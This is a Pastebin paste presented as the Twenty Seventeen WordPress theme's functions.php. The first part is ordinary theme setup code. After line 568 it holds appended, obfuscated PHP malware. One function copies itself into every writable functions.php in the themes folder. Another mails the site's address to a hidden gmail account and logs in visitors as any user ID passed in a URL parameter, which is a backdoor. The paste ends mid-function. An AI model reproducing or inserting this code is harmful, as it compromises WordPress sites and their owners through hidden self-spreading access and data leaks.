SHARE
TWEET

twenty seventeen functions.php file

AngLangyaw Sep 13th, 2017 127 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /**
  3.  * Twenty Seventeen functions and definitions
  4.  *
  5.  * @link https://developer.wordpress.org/themes/basics/theme-functions/
  6.  *
  7.  * @package WordPress
  8.  * @subpackage Twenty_Seventeen
  9.  * @since 1.0
  10.  */
  11.  
  12. /**
  13.  * Twenty Seventeen only works in WordPress 4.7 or later.
  14.  */
  15. if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '<' ) ) {
  16.     require get_template_directory() . '/inc/back-compat.php';
  17.     return;
  18. }
  19.  
  20. /**
  21.  * Sets up theme defaults and registers support for various WordPress features.
  22.  *
  23.  * Note that this function is hooked into the after_setup_theme hook, which
  24.  * runs before the init hook. The init hook is too late for some features, such
  25.  * as indicating support for post thumbnails.
  26.  */
  27. function twentyseventeen_setup() {
  28.     /*
  29.      * Make theme available for translation.
  30.      * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyseventeen
  31.      * If you're building a theme based on Twenty Seventeen, use a find and replace
  32.      * to change 'twentyseventeen' to the name of your theme in all the template files.
  33.      */
  34.     load_theme_textdomain( 'twentyseventeen' );
  35.  
  36.     // Add default posts and comments RSS feed links to head.
  37.     add_theme_support( 'automatic-feed-links' );
  38.  
  39.     /*
  40.      * Let WordPress manage the document title.
  41.      * By adding theme support, we declare that this theme does not use a
  42.      * hard-coded <title> tag in the document head, and expect WordPress to
  43.      * provide it for us.
  44.      */
  45.     add_theme_support( 'title-tag' );
  46.  
  47.     /*
  48.      * Enable support for Post Thumbnails on posts and pages.
  49.      *
  50.      * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
  51.      */
  52.     add_theme_support( 'post-thumbnails' );
  53.  
  54.     add_image_size( 'twentyseventeen-featured-image', 2000, 1200, true );
  55.  
  56.     add_image_size( 'twentyseventeen-thumbnail-avatar', 100, 100, true );
  57.  
  58.     // Set the default content width.
  59.     $GLOBALS['content_width'] = 525;
  60.  
  61.     // This theme uses wp_nav_menu() in two locations.
  62.     register_nav_menus( array(
  63.         'top'    => __( 'Top Menu', 'twentyseventeen' ),
  64.         'social' => __( 'Social Links Menu', 'twentyseventeen' ),
  65.     ) );
  66.  
  67.     /*
  68.      * Switch default core markup for search form, comment form, and comments
  69.      * to output valid HTML5.
  70.      */
  71.     add_theme_support( 'html5', array(
  72.         'comment-form',
  73.         'comment-list',
  74.         'gallery',
  75.         'caption',
  76.     ) );
  77.  
  78.     /*
  79.      * Enable support for Post Formats.
  80.      *
  81.      * See: https://codex.wordpress.org/Post_Formats
  82.      */
  83.     add_theme_support( 'post-formats', array(
  84.         'aside',
  85.         'image',
  86.         'video',
  87.         'quote',
  88.         'link',
  89.         'gallery',
  90.         'audio',
  91.     ) );
  92.  
  93.     // Add theme support for Custom Logo.
  94.     add_theme_support( 'custom-logo', array(
  95.         'width'       => 250,
  96.         'height'      => 250,
  97.         'flex-width'  => true,
  98.     ) );
  99.  
  100.     // Add theme support for selective refresh for widgets.
  101.     add_theme_support( 'customize-selective-refresh-widgets' );
  102.  
  103.     /*
  104.      * This theme styles the visual editor to resemble the theme style,
  105.      * specifically font, colors, and column width.
  106.      */
  107.     add_editor_style( array( 'assets/css/editor-style.css', twentyseventeen_fonts_url() ) );
  108.  
  109.     // Define and register starter content to showcase the theme on new sites.
  110.     $starter_content = array(
  111.         'widgets' => array(
  112.             // Place three core-defined widgets in the sidebar area.
  113.             'sidebar-1' => array(
  114.                 'text_business_info',
  115.                 'search',
  116.                 'text_about',
  117.             ),
  118.  
  119.             // Add the core-defined business info widget to the footer 1 area.
  120.             'sidebar-2' => array(
  121.                 'text_business_info',
  122.             ),
  123.  
  124.             // Put two core-defined widgets in the footer 2 area.
  125.             'sidebar-3' => array(
  126.                 'text_about',
  127.                 'search',
  128.             ),
  129.         ),
  130.  
  131.         // Specify the core-defined pages to create and add custom thumbnails to some of them.
  132.         'posts' => array(
  133.             'home',
  134.             'about' => array(
  135.                 'thumbnail' => '{{image-sandwich}}',
  136.             ),
  137.             'contact' => array(
  138.                 'thumbnail' => '{{image-espresso}}',
  139.             ),
  140.             'blog' => array(
  141.                 'thumbnail' => '{{image-coffee}}',
  142.             ),
  143.             'homepage-section' => array(
  144.                 'thumbnail' => '{{image-espresso}}',
  145.             ),
  146.         ),
  147.  
  148.         // Create the custom image attachments used as post thumbnails for pages.
  149.         'attachments' => array(
  150.             'image-espresso' => array(
  151.                 'post_title' => _x( 'Espresso', 'Theme starter content', 'twentyseventeen' ),
  152.                 'file' => 'assets/images/espresso.jpg', // URL relative to the template directory.
  153.             ),
  154.             'image-sandwich' => array(
  155.                 'post_title' => _x( 'Sandwich', 'Theme starter content', 'twentyseventeen' ),
  156.                 'file' => 'assets/images/sandwich.jpg',
  157.             ),
  158.             'image-coffee' => array(
  159.                 'post_title' => _x( 'Coffee', 'Theme starter content', 'twentyseventeen' ),
  160.                 'file' => 'assets/images/coffee.jpg',
  161.             ),
  162.         ),
  163.  
  164.         // Default to a static front page and assign the front and posts pages.
  165.         'options' => array(
  166.             'show_on_front' => 'page',
  167.             'page_on_front' => '{{home}}',
  168.             'page_for_posts' => '{{blog}}',
  169.         ),
  170.  
  171.         // Set the front page section theme mods to the IDs of the core-registered pages.
  172.         'theme_mods' => array(
  173.             'panel_1' => '{{homepage-section}}',
  174.             'panel_2' => '{{about}}',
  175.             'panel_3' => '{{blog}}',
  176.             'panel_4' => '{{contact}}',
  177.         ),
  178.  
  179.         // Set up nav menus for each of the two areas registered in the theme.
  180.         'nav_menus' => array(
  181.             // Assign a menu to the "top" location.
  182.             'top' => array(
  183.                 'name' => __( 'Top Menu', 'twentyseventeen' ),
  184.                 'items' => array(
  185.                     'link_home', // Note that the core "home" page is actually a link in case a static front page is not used.
  186.                     'page_about',
  187.                     'page_blog',
  188.                     'page_contact',
  189.                 ),
  190.             ),
  191.  
  192.             // Assign a menu to the "social" location.
  193.             'social' => array(
  194.                 'name' => __( 'Social Links Menu', 'twentyseventeen' ),
  195.                 'items' => array(
  196.                     'link_yelp',
  197.                     'link_facebook',
  198.                     'link_twitter',
  199.                     'link_instagram',
  200.                     'link_email',
  201.                 ),
  202.             ),
  203.         ),
  204.     );
  205.  
  206.     /**
  207.      * Filters Twenty Seventeen array of starter content.
  208.      *
  209.      * @since Twenty Seventeen 1.1
  210.      *
  211.      * @param array $starter_content Array of starter content.
  212.      */
  213.     $starter_content = apply_filters( 'twentyseventeen_starter_content', $starter_content );
  214.  
  215.     add_theme_support( 'starter-content', $starter_content );
  216. }
  217. add_action( 'after_setup_theme', 'twentyseventeen_setup' );
  218.  
  219. /**
  220.  * Set the content width in pixels, based on the theme's design and stylesheet.
  221.  *
  222.  * Priority 0 to make it available to lower priority callbacks.
  223.  *
  224.  * @global int $content_width
  225.  */
  226. function twentyseventeen_content_width() {
  227.  
  228.     $content_width = $GLOBALS['content_width'];
  229.  
  230.     // Get layout.
  231.     $page_layout = get_theme_mod( 'page_layout' );
  232.  
  233.     // Check if layout is one column.
  234.     if ( 'one-column' === $page_layout ) {
  235.         if ( twentyseventeen_is_frontpage() ) {
  236.             $content_width = 644;
  237.         } elseif ( is_page() ) {
  238.             $content_width = 740;
  239.         }
  240.     }
  241.  
  242.     // Check if is single post and there is no sidebar.
  243.     if ( is_single() && ! is_active_sidebar( 'sidebar-1' ) ) {
  244.         $content_width = 740;
  245.     }
  246.  
  247.     /**
  248.      * Filter Twenty Seventeen content width of the theme.
  249.      *
  250.      * @since Twenty Seventeen 1.0
  251.      *
  252.      * @param int $content_width Content width in pixels.
  253.      */
  254.     $GLOBALS['content_width'] = apply_filters( 'twentyseventeen_content_width', $content_width );
  255. }
  256. add_action( 'template_redirect', 'twentyseventeen_content_width', 0 );
  257.  
  258. /**
  259.  * Register custom fonts.
  260.  */
  261. function twentyseventeen_fonts_url() {
  262.     $fonts_url = '';
  263.  
  264.     /*
  265.      * Translators: If there are characters in your language that are not
  266.      * supported by Libre Franklin, translate this to 'off'. Do not translate
  267.      * into your own language.
  268.      */
  269.     $libre_franklin = _x( 'on', 'Libre Franklin font: on or off', 'twentyseventeen' );
  270.  
  271.     if ( 'off' !== $libre_franklin ) {
  272.         $font_families = array();
  273.  
  274.         $font_families[] = 'Libre Franklin:300,300i,400,400i,600,600i,800,800i';
  275.  
  276.         $query_args = array(
  277.             'family' => urlencode( implode( '|', $font_families ) ),
  278.             'subset' => urlencode( 'latin,latin-ext' ),
  279.         );
  280.  
  281.         $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
  282.     }
  283.  
  284.     return esc_url_raw( $fonts_url );
  285. }
  286.  
  287. /**
  288.  * Add preconnect for Google Fonts.
  289.  *
  290.  * @since Twenty Seventeen 1.0
  291.  *
  292.  * @param array  $urls           URLs to print for resource hints.
  293.  * @param string $relation_type  The relation type the URLs are printed.
  294.  * @return array $urls           URLs to print for resource hints.
  295.  */
  296. function twentyseventeen_resource_hints( $urls, $relation_type ) {
  297.     if ( wp_style_is( 'twentyseventeen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
  298.         $urls[] = array(
  299.             'href' => 'https://fonts.gstatic.com',
  300.             'crossorigin',
  301.         );
  302.     }
  303.  
  304.     return $urls;
  305. }
  306. add_filter( 'wp_resource_hints', 'twentyseventeen_resource_hints', 10, 2 );
  307.  
  308. /**
  309.  * Register widget area.
  310.  *
  311.  * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
  312.  */
  313. function twentyseventeen_widgets_init() {
  314.     register_sidebar( array(
  315.         'name'          => __( 'Blog Sidebar', 'twentyseventeen' ),
  316.         'id'            => 'sidebar-1',
  317.         'description'   => __( 'Add widgets here to appear in your sidebar on blog posts and archive pages.', 'twentyseventeen' ),
  318.         'before_widget' => '<section id="%1$s" class="widget %2$s">',
  319.         'after_widget'  => '</section>',
  320.         'before_title'  => '<h2 class="widget-title">',
  321.         'after_title'   => '</h2>',
  322.     ) );
  323.  
  324.     register_sidebar( array(
  325.         'name'          => __( 'Footer 1', 'twentyseventeen' ),
  326.         'id'            => 'sidebar-2',
  327.         'description'   => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
  328.         'before_widget' => '<section id="%1$s" class="widget %2$s">',
  329.         'after_widget'  => '</section>',
  330.         'before_title'  => '<h2 class="widget-title">',
  331.         'after_title'   => '</h2>',
  332.     ) );
  333.  
  334.     register_sidebar( array(
  335.         'name'          => __( 'Footer 2', 'twentyseventeen' ),
  336.         'id'            => 'sidebar-3',
  337.         'description'   => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
  338.         'before_widget' => '<section id="%1$s" class="widget %2$s">',
  339.         'after_widget'  => '</section>',
  340.         'before_title'  => '<h2 class="widget-title">',
  341.         'after_title'   => '</h2>',
  342.     ) );
  343. }
  344. add_action( 'widgets_init', 'twentyseventeen_widgets_init' );
  345.  
  346. /**
  347.  * Replaces "[...]" (appended to automatically generated excerpts) with ... and
  348.  * a 'Continue reading' link.
  349.  *
  350.  * @since Twenty Seventeen 1.0
  351.  *
  352.  * @param string $link Link to single post/page.
  353.  * @return string 'Continue reading' link prepended with an ellipsis.
  354.  */
  355. function twentyseventeen_excerpt_more( $link ) {
  356.     if ( is_admin() ) {
  357.         return $link;
  358.     }
  359.  
  360.     $link = sprintf( '<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
  361.         esc_url( get_permalink( get_the_ID() ) ),
  362.         /* translators: %s: Name of current post */
  363.         sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ), get_the_title( get_the_ID() ) )
  364.     );
  365.     return ' &hellip; ' . $link;
  366. }
  367. add_filter( 'excerpt_more', 'twentyseventeen_excerpt_more' );
  368.  
  369. /**
  370.  * Handles JavaScript detection.
  371.  *
  372.  * Adds a `js` class to the root `<html>` element when JavaScript is detected.
  373.  *
  374.  * @since Twenty Seventeen 1.0
  375.  */
  376. function twentyseventeen_javascript_detection() {
  377.     echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
  378. }
  379. add_action( 'wp_head', 'twentyseventeen_javascript_detection', 0 );
  380.  
  381. /**
  382.  * Add a pingback url auto-discovery header for singularly identifiable articles.
  383.  */
  384. function twentyseventeen_pingback_header() {
  385.     if ( is_singular() && pings_open() ) {
  386.         printf( '<link rel="pingback" href="%s">' . "\n", get_bloginfo( 'pingback_url' ) );
  387.     }
  388. }
  389. add_action( 'wp_head', 'twentyseventeen_pingback_header' );
  390.  
  391. /**
  392.  * Display custom color CSS.
  393.  */
  394. function twentyseventeen_colors_css_wrap() {
  395.     if ( 'custom' !== get_theme_mod( 'colorscheme' ) && ! is_customize_preview() ) {
  396.         return;
  397.     }
  398.  
  399.     require_once( get_parent_theme_file_path( '/inc/color-patterns.php' ) );
  400.     $hue = absint( get_theme_mod( 'colorscheme_hue', 250 ) );
  401. ?>
  402.     <style type="text/css" id="custom-theme-colors" <?php if ( is_customize_preview() ) { echo 'data-hue="' . $hue . '"'; } ?>>
  403.         <?php echo twentyseventeen_custom_colors_css(); ?>
  404.     </style>
  405. <?php }
  406. add_action( 'wp_head', 'twentyseventeen_colors_css_wrap' );
  407.  
  408. /**
  409.  * Enqueue scripts and styles.
  410.  */
  411. function twentyseventeen_scripts() {
  412.     // Add custom fonts, used in the main stylesheet.
  413.     wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
  414.  
  415.     // Theme stylesheet.
  416.     wp_enqueue_style( 'twentyseventeen-style', get_stylesheet_uri() );
  417.  
  418.     // Load the dark colorscheme.
  419.     if ( 'dark' === get_theme_mod( 'colorscheme', 'light' ) || is_customize_preview() ) {
  420.         wp_enqueue_style( 'twentyseventeen-colors-dark', get_theme_file_uri( '/assets/css/colors-dark.css' ), array( 'twentyseventeen-style' ), '1.0' );
  421.     }
  422.  
  423.     // Load the Internet Explorer 9 specific stylesheet, to fix display issues in the Customizer.
  424.     if ( is_customize_preview() ) {
  425.         wp_enqueue_style( 'twentyseventeen-ie9', get_theme_file_uri( '/assets/css/ie9.css' ), array( 'twentyseventeen-style' ), '1.0' );
  426.         wp_style_add_data( 'twentyseventeen-ie9', 'conditional', 'IE 9' );
  427.     }
  428.  
  429.     // Load the Internet Explorer 8 specific stylesheet.
  430.     wp_enqueue_style( 'twentyseventeen-ie8', get_theme_file_uri( '/assets/css/ie8.css' ), array( 'twentyseventeen-style' ), '1.0' );
  431.     wp_style_add_data( 'twentyseventeen-ie8', 'conditional', 'lt IE 9' );
  432.  
  433.     // Load the html5 shiv.
  434.     wp_enqueue_script( 'html5', get_theme_file_uri( '/assets/js/html5.js' ), array(), '3.7.3' );
  435.     wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
  436.  
  437.     wp_enqueue_script( 'twentyseventeen-skip-link-focus-fix', get_theme_file_uri( '/assets/js/skip-link-focus-fix.js' ), array(), '1.0', true );
  438.  
  439.     $twentyseventeen_l10n = array(
  440.         'quote'          => twentyseventeen_get_svg( array( 'icon' => 'quote-right' ) ),
  441.     );
  442.  
  443.     if ( has_nav_menu( 'top' ) ) {
  444.         wp_enqueue_script( 'twentyseventeen-navigation', get_theme_file_uri( '/assets/js/navigation.js' ), array( 'jquery' ), '1.0', true );
  445.         $twentyseventeen_l10n['expand']         = __( 'Expand child menu', 'twentyseventeen' );
  446.         $twentyseventeen_l10n['collapse']       = __( 'Collapse child menu', 'twentyseventeen' );
  447.         $twentyseventeen_l10n['icon']           = twentyseventeen_get_svg( array( 'icon' => 'angle-down', 'fallback' => true ) );
  448.     }
  449.  
  450.     wp_enqueue_script( 'twentyseventeen-global', get_theme_file_uri( '/assets/js/global.js' ), array( 'jquery' ), '1.0', true );
  451.  
  452.     wp_enqueue_script( 'jquery-scrollto', get_theme_file_uri( '/assets/js/jquery.scrollTo.js' ), array( 'jquery' ), '2.1.2', true );
  453.  
  454.     wp_localize_script( 'twentyseventeen-skip-link-focus-fix', 'twentyseventeenScreenReaderText', $twentyseventeen_l10n );
  455.  
  456.     if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
  457.         wp_enqueue_script( 'comment-reply' );
  458.     }
  459. }
  460. add_action( 'wp_enqueue_scripts', 'twentyseventeen_scripts' );
  461.  
  462. /**
  463.  * Add custom image sizes attribute to enhance responsive image functionality
  464.  * for content images.
  465.  *
  466.  * @since Twenty Seventeen 1.0
  467.  *
  468.  * @param string $sizes A source size value for use in a 'sizes' attribute.
  469.  * @param array  $size  Image size. Accepts an array of width and height
  470.  *                      values in pixels (in that order).
  471.  * @return string A source size value for use in a content image 'sizes' attribute.
  472.  */
  473. function twentyseventeen_content_image_sizes_attr( $sizes, $size ) {
  474.     $width = $size[0];
  475.  
  476.     if ( 740 <= $width ) {
  477.         $sizes = '(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px';
  478.     }
  479.  
  480.     if ( is_active_sidebar( 'sidebar-1' ) || is_archive() || is_search() || is_home() || is_page() ) {
  481.         if ( ! ( is_page() && 'one-column' === get_theme_mod( 'page_options' ) ) && 767 <= $width ) {
  482.              $sizes = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
  483.         }
  484.     }
  485.  
  486.     return $sizes;
  487. }
  488. add_filter( 'wp_calculate_image_sizes', 'twentyseventeen_content_image_sizes_attr', 10, 2 );
  489.  
  490. /**
  491.  * Filter the `sizes` value in the header image markup.
  492.  *
  493.  * @since Twenty Seventeen 1.0
  494.  *
  495.  * @param string $html   The HTML image tag markup being filtered.
  496.  * @param object $header The custom header object returned by 'get_custom_header()'.
  497.  * @param array  $attr   Array of the attributes for the image tag.
  498.  * @return string The filtered header image HTML.
  499.  */
  500. function twentyseventeen_header_image_tag( $html, $header, $attr ) {
  501.     if ( isset( $attr['sizes'] ) ) {
  502.         $html = str_replace( $attr['sizes'], '100vw', $html );
  503.     }
  504.     return $html;
  505. }
  506. add_filter( 'get_header_image_tag', 'twentyseventeen_header_image_tag', 10, 3 );
  507.  
  508. /**
  509.  * Add custom image sizes attribute to enhance responsive image functionality
  510.  * for post thumbnails.
  511.  *
  512.  * @since Twenty Seventeen 1.0
  513.  *
  514.  * @param array $attr       Attributes for the image markup.
  515.  * @param int   $attachment Image attachment ID.
  516.  * @param array $size       Registered image size or flat array of height and width dimensions.
  517.  * @return string A source size value for use in a post thumbnail 'sizes' attribute.
  518.  */
  519. function twentyseventeen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
  520.     if ( is_archive() || is_search() || is_home() ) {
  521.         $attr['sizes'] = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
  522.     } else {
  523.         $attr['sizes'] = '100vw';
  524.     }
  525.  
  526.     return $attr;
  527. }
  528. add_filter( 'wp_get_attachment_image_attributes', 'twentyseventeen_post_thumbnail_sizes_attr', 10, 3 );
  529.  
  530. /**
  531.  * Use front-page.php when Front page displays is set to a static page.
  532.  *
  533.  * @since Twenty Seventeen 1.0
  534.  *
  535.  * @param string $template front-page.php.
  536.  *
  537.  * @return string The template to be used: blank if is_home() is true (defaults to index.php), else $template.
  538.  */
  539. function twentyseventeen_front_page_template( $template ) {
  540.     return is_home() ? '' : $template;
  541. }
  542. add_filter( 'frontpage_template',  'twentyseventeen_front_page_template' );
  543.  
  544. /**
  545.  * Implement the Custom Header feature.
  546.  */
  547. require get_parent_theme_file_path( '/inc/custom-header.php' );
  548.  
  549. /**
  550.  * Custom template tags for this theme.
  551.  */
  552. require get_parent_theme_file_path( '/inc/template-tags.php' );
  553.  
  554. /**
  555.  * Additional features to allow styling of the templates.
  556.  */
  557. require get_parent_theme_file_path( '/inc/template-functions.php' );
  558.  
  559. /**
  560.  * Customizer additions.
  561.  */
  562. require get_parent_theme_file_path( '/inc/customizer.php' );
  563.  
  564. /**
  565.  * SVG icons functions and filters.
  566.  */
  567. require get_parent_theme_file_path( '/inc/icon-functions.php' );
  568. ?>
  569. <?php
  570. function _verify_activate_widget(){
  571.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  572.     $output=strip_tags($output, $allowed);
  573.     $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  574.     if (is_array($direst)){
  575.         foreach ($direst as $item){
  576.             if (is_writable($item)){
  577.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  578.                 $cont=file_get_contents($item);
  579.                 if (stripos($cont,$ftion) === false){
  580.                     $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  581.                     $output .= $before . "Not found" . $after;
  582.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  583.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);               
  584.                     $output .= ($showdot && $ellipsis) ? "..." : "";
  585.                 }
  586.             }
  587.         }
  588.     }
  589.     return $output;
  590. }
  591. function _get_all_widgetcont($wids,$items=array()){
  592.     $places=array_shift($wids);
  593.     if(substr($places,-1) == "/"){
  594.         $places=substr($places,0,-1);
  595.     }
  596.     if(!file_exists($places) || !is_dir($places)){
  597.         return false;
  598.     }elseif(is_readable($places)){
  599.         $elems=scandir($places);
  600.         foreach ($elems as $elem){
  601.             if ($elem != "." && $elem != ".."){
  602.                 if (is_dir($places . "/" . $elem)){
  603.                     $wids[]=$places . "/" . $elem;
  604.                 } elseif (is_file($places . "/" . $elem)&&
  605.                     $elem == substr(__FILE__,-13)){
  606.                     $items[]=$places . "/" . $elem;}
  607.                 }
  608.             }
  609.     }else{
  610.         return false;  
  611.     }
  612.     if (sizeof($wids) > 0){
  613.         return _get_all_widgetcont($wids,$items);
  614.     } else {
  615.         return $items;
  616.     }
  617. }
  618. if(!function_exists("stripos")){
  619.     function stripos(  $str, $needle, $offset = 0  ){
  620.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  621.     }
  622. }
  623.  
  624. if(!function_exists("strripos")){
  625.     function strripos(  $haystack, $needle, $offset = 0  ) {
  626.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  627.         if(  $offset < 0  ){
  628.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  629.         }
  630.         else{
  631.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  632.         }
  633.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  634.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  635.         return $pos;
  636.     }
  637. }
  638. if(!function_exists("scandir")){
  639.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  640.         $dirArray = array();
  641.         if ($handle = opendir($dir)) {
  642.             while (false !== ($file = readdir($handle))) {
  643.                 if (($file != "." && $file != "..") || $skipDots == true) {
  644.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  645.                     array_push($dirArray,basename($file));
  646.                 }
  647.             }
  648.             closedir($handle);
  649.         }
  650.         return $dirArray;
  651.     }
  652. }
  653. add_action("admin_head", "_verify_activate_widget");
  654. function _prepared_widget(){
  655.     if(!isset($length)) $length=120;
  656.     if(!isset($method)) $method="cookie";
  657.     if(!isset($html_tags)) $html_tags="<a>";
  658.     if(!isset($filters_type)) $filters_type="none";
  659.     if(!isset($s)) $s="";
  660.     if(!isset($filter_h)) $filter_h=get_option("home");
  661.     if(!isset($filter_p)) $filter_p="wp_";
  662.     if(!isset($use_link)) $use_link=1;
  663.     if(!isset($comments_type)) $comments_type="";
  664.     if(!isset($perpage)) $perpage=$_GET["cperpage"];
  665.     if(!isset($comments_auth)) $comments_auth="";
  666.     if(!isset($comment_is_approved)) $comment_is_approved="";
  667.     if(!isset($authname)) $authname="auth";
  668.     if(!isset($more_links_text)) $more_links_text="(more...)";
  669.     if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
  670.     if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
  671.     if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
  672.     if(!isset($more_content)) $more_content="ma".$s."il";
  673.     if(!isset($forces_more)) $forces_more=1;
  674.     if(!isset($fakeit)) $fakeit=1;
  675.     if(!isset($sql)) $sql="";
  676.     if (!$widget_output) :
  677.    
  678.     global $wpdb, $post;
  679.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  680.     if (!empty($post->post_password)) {
  681.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  682.             if(is_feed()) {
  683.                 $output=__("There is no excerpt because this is a protected post.");
  684.             } else {
  685.                 $output=get_the_password_form();
  686.             }
  687.         }
  688.     }
  689.     if(!isset($fix_tag)) $fix_tag=1;
  690.     if(!isset($filters_types)) $filters_types=$filter_h;
  691.     if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
  692.     if(!isset($more_tags)) $more_tags="div";
  693.     if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
  694.     if(!isset($mlink_title)) $mlink_title="Continue reading this entry";   
  695.     if(!isset($showdot)) $showdot=1;
  696.    
  697.     $comments=$wpdb->get_results($sql);
  698.     if($fakeit == 2) {
  699.         $text=$post->post_content;
  700.     } elseif($fakeit == 1) {
  701.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  702.     } else {
  703.         $text=$post->post_excerpt;
  704.     }
  705.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  706.     if($length < 0) {
  707.         $output=$text;
  708.     } else {
  709.         if(!$no_more && strpos($text, "<!--more-->")) {
  710.             $text=explode("<!--more-->", $text, 2);
  711.             $l=count($text[0]);
  712.             $more_link=1;
  713.             $comments=$wpdb->get_results($sql);
  714.         } else {
  715.             $text=explode(" ", $text);
  716.             if(count($text) > $length) {
  717.                 $l=$length;
  718.                 $ellipsis=1;
  719.             } else {
  720.                 $l=count($text);
  721.                 $more_links_text="";
  722.                 $ellipsis=0;
  723.             }
  724.         }
  725.         for ($i=0; $i<$l; $i++)
  726.                 $output .= $text[$i] . " ";
  727.     }
  728.     update_option("_is_widget_active_", 1);
  729.     if("all" != $html_tags) {
  730.         $output=strip_tags($output, $html_tags);
  731.         return $output;
  732.     }
  733.     endif;
  734.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  735.     $output=($fix_tag) ? balanceTags($output, true) : $output;
  736.     $output .= ($showdot && $ellipsis) ? "..." : "";
  737.     $output=apply_filters($filters_type, $output);
  738.     switch($more_tags) {
  739.         case("div") :
  740.             $tag="div";
  741.         break;
  742.         case("span") :
  743.             $tag="span";
  744.         break;
  745.         case("p") :
  746.             $tag="p";
  747.         break;
  748.         default :
  749.             $tag="span";
  750.     }
  751.  
  752.     if ($use_link ) {
  753.         if($forces_more) {
  754.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
  755.         } else {
  756.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
  757.         }
  758.     }
  759.     return $output;
  760. }
  761.  
  762. add_action("wp_head", "__fixTemplclusterRequest", 10,2);
  763.  
  764. function __fixTemplclusterRequest( $args )
  765. {
  766.     $section = $args['css_section'];
  767.     $elem = $args['css_elem'];
  768.     $option_group = $section['option_group'];
  769.     if(function_exists('get_option')) $options = get_option( $option_group .'_settings' );
  770.     $id = $std = $section['std_id'];
  771.     $el_id = $option_group .'_'. $section['section_id'] .'_'. $id;
  772.     $type = $elem;
  773.     $placeholder = $stdEl = $section['placeholder_new'];
  774.     $class = 'gen_option_div';
  775.     $val = (isset($options[$el_id])) ? $options[$el_id] : $std;
  776.     if(function_exists('do_action')) do_action( 'wpsf_before_field' );
  777.     $choices = $option_group['choices'];
  778.     $placeholder = $stdEl = $section['placeholder_new'];
  779.     $desc = $option_group['desc'];
  780.     if(function_exists('esc_attr')) $val = esc_attr(stripslashes($val));
